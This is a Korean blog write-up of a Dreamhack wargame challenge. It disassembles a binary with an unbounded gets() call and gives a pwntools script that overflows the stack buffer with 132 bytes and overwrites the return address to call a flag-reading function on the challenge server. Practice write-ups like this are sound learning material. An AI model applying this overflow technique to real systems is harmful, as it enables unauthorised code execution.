문제
오랜만에 문제 하나 심심해서 풀었다.
분석
NX(No-eXecute)로 메모리 상에서 코드 실행이 가능한 메모리 영역과 가능하지 않는 메모리 영역을 분리하는 보호기법이 설정되어 있다. 이에 따라서 쉘코드를 메모리 상에 넣어놓고 실행하는것은 불가능 할 것 같다.
함수는 여러개가 있는데 read_flag는 뭔가 flag를 잃어주는 그런 함수인 것 같다.
System함수로 cat flag하는 것 맞았다.
아무래도 이걸 사용하는 것 같다.
프로그램 실행
코드 실행을 했을 땐 바로 입력 받는 것 외에는 별다른 건 없다.
코드분석: main
pwndbg> disassemble main
Dump of assembler code for function main:
0x080485cc <+0>: push ebp
0x080485cd <+1>: mov ebp,esp
0x080485cf <+3>: add esp,0xffffff80
0x080485d2 <+6>: call 0x8048572 <initialize>
0x080485d7 <+11>: lea eax,[ebp-0x80]
0x080485da <+14>: push eax
0x080485db <+15>: call 0x80483d0 <gets@plt>
0x080485e0 <+20>: add esp,0x4
0x080485e3 <+23>: mov eax,0x0
0x080485e8 <+28>: leave
0x080485e9 <+29>: ret
End of assembler dump.
eax에 ebp에서 0x80을 뺀 메모리의 주소를 넣는다. 그리고 eax를 스택에 쌓는다.
즉, gets 함수에서 입력받은 값들을 저장할 공간의 주소를 스택에 쌓은 것이다.
main+15일 때 브레이크 포인트를 하고 아무 값을 입력해보았다.
값들이 0xfffcd98부터 들어가지는 것을 알 수 있다.
132바이트를 NOP로 채우고 SFP + EBP를 다른 주소로 채우면 되는데 read flag 함수 주소로 바꾸면 함수 종료 시 read flag가 실행하게 될 것이다.
풀이
from pwn import *
p = remote('host3.dreamhack.games',15507)
payload = b'\x90'*132
payload += p32(0x080485b9)
p.sendline(payload)
p.interactive()
답
끝.
'Write-up > Wargame' 카테고리의 다른 글
[4주차 TIL] KnockOn Bootcamp basic_asm 4~5 (0) | 2025.01.01 |
---|---|
[4주차 TIL] KnockOn Bootcamp basic_asm 1~3 (0) | 2025.01.01 |
[Dreamhack] basic_exploitation_000 (0) | 2024.03.24 |
[Dreamhack] ReturnAddressOverwrite (1) | 2024.03.22 |
[pwnable.kr] fd (0) | 2023.11.12 |